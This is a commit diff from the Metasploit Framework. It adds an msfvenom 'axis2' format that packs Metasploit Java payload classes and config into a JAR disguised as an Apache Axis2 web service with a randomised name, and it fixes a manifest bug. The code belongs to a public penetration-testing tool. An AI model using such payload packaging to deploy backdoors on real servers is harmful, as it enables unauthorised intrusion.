Land #6868, Add axis2 payload generator for msfvenom

bug/bundler_fix
wchen-r7 2016-05-16 17:48:50 -05:00
commit 04d70640b1
No known key found for this signature in database
GPG Key ID: 2384DB4EF06F730B
4 changed files with 60 additions and 17 deletions

View File

@ -107,5 +107,41 @@ module Msf::Payload::Java
zip
end
end
#
# Used by stagers to create a axis2 webservice file as a {Rex::Zip::Jar}.
# Stagers define a list of class files in @class_files which are pulled
# from the MetasploitPayloads gem. The configuration file is created by
# the payload's #config method.
#
# @option :app_name [String] Name of the Service in services.xml. Defaults to random.
# @return [Rex::Zip::Jar]
def generate_axis2(opts={})
raise if not respond_to? :config
app_name = opts[:app_name] || Rex::Text.rand_text_alpha_lower(rand(8)+8)
services_xml = %Q{<service name="#{app_name}" scope="application">
<description>#{Rex::Text.rand_text_alphanumeric(50 + rand(50))}</description>
<parameter name="ServiceClass">metasploit.PayloadServlet</parameter>
<operation name="run">
<messageReceiver mep="http://www.w3.org/2004/08/wsdl/in-out" class="org.apache.axis2.rpc.receivers.RPCMessageReceiver"/>
</operation>
</service>
}
paths = [
[ 'metasploit', 'Payload.class' ],
[ 'metasploit', 'PayloadServlet.class' ]
] + @class_files
zip = Rex::Zip::Jar.new
zip.add_file('META-INF/', '')
zip.add_file('META-INF/services.xml', services_xml)
zip.add_files(paths, MetasploitPayloads.path('java'))
zip.add_file('metasploit.dat', config)
zip.build_manifest(:app_name => app_name)
zip
end
end

View File

@ -296,6 +296,12 @@ module Msf
else
raise InvalidFormat, "#{payload} is not a Java payload"
end
when "axis2"
if payload_module.respond_to? :generate_axis2
payload_module.generate_axis2.pack
else
raise InvalidFormat, "#{payload} is not a Java payload"
end
else
raise InvalidFormat, "#{format} is not a valid format for Java payloads"
end

View File

@ -2221,6 +2221,7 @@ require 'msf/core/exe/segment_appender'
"asp",
"aspx",
"aspx-exe",
"axis2",
"dll",
"elf",
"elf-so",

View File

@ -47,8 +47,9 @@ class Jar < Archive
#
def build_manifest(opts={})
main_class = (opts[:main_class] ? randomize(opts[:main_class]) : nil)
app_name = (opts[:app_name] ? randomize(opts[:main_class]) : nil)
app_name = (opts[:app_name] ? randomize(opts[:app_name]) : nil)
existing_manifest = nil
meta_inf_exists = @entries.find_all{|item| item.name == 'META-INF/' }.length > 0
@manifest = "Manifest-Version: 1.0\r\n"
@manifest << "Main-Class: #{main_class}\r\n" if main_class
@ -69,7 +70,7 @@ class Jar < Archive
if existing_manifest
existing_manifest.data = @manifest
else
add_file("META-INF/", '')
add_file("META-INF/", '') unless meta_inf_exists
add_file("META-INF/MANIFEST.MF", @manifest)
end
end
@ -280,4 +281,3 @@ end
end
end